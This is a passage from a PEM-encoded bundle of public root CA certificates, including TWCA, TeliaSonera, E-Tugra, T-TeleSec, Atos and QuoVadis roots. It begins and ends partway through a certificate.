MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0 RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ 0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7 8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR 5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J 9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0 dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2 MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49 nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3 sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd 3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p EfbRD0tVNEYqi4Y7 -----END CERTIFICATE----- TWCA Global Root CA =================== -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99 sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M 8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg /eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8 EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3 zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0= -----END CERTIFICATE----- TeliaSonera Root CA v1 ====================== -----BEGIN CERTIFICATE----- MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4 MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+ 6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA 3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3 F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7 gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx 0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2 qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6 Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY= -----END CERTIFICATE----- E-Tugra Certification Authority =============================== -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0 E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5 dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB /wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807 VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0 8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G C7TbO6Orb1wdtn7os4I07QZcJA== -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 2 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970 2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4 r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR 3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN 9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg== -----END CERTIFICATE----- Atos TrustedRoot 2011 ===================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4 MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr 54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+ DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320 HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9 61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G 3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed -----END CERTIFICATE----- QuoVadis Root CA 1 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6 Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV 7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX 9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3 GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP +V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh 3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6 O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0 FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV hMJKzRwuJIczYOXD -----END CERTIFICATE----- QuoVadis Root CA 2 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD 6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9 x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr O3jtZsSOeWmD3n+M -----END CERTIFICATE----- QuoVadis Root CA 3 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286 IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe 6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3 I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U 